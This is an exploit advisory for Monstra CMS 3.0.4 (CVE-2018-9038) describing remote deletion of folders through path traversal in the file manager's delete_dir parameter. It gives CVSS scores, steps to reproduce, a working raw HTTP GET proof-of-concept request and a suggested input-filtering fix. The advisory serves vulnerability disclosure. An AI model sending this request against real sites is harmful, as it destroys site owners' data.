Monstra CMS 3.0.4 Arbitrary Folder Deletion

2018.04.25
Credit: Wenming Jiang
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5.5/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request # Date: 2018-03-26 # Exploit Author: Wenming Jiang # Vendor Homepage: https://github.com/monstra-cms/monstra # Software Link: https://github.com/monstra-cms/monstra # Version: 3.0.4 # Tested on: macos 10.12.6, php 5.6, apache2.2.29 # CVE :CVE-2018-9038 Description: Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request. Steps to Reproduce: 1、Log in as a user with page editing permissions 2、Request http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads 3、The uploads folder will be deleted. Poc code: GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1 Host: localhost:8000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/ Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.1.1742657188.1524382699; _gid=GA1.1.918663288.1524382699 Connection: close Vulnerability Type: Insecure Permissions Expected Behavior: deleted uploads folder Possible Solutions: Strictly filter the delete_dir parameter and replace './' with '_/'


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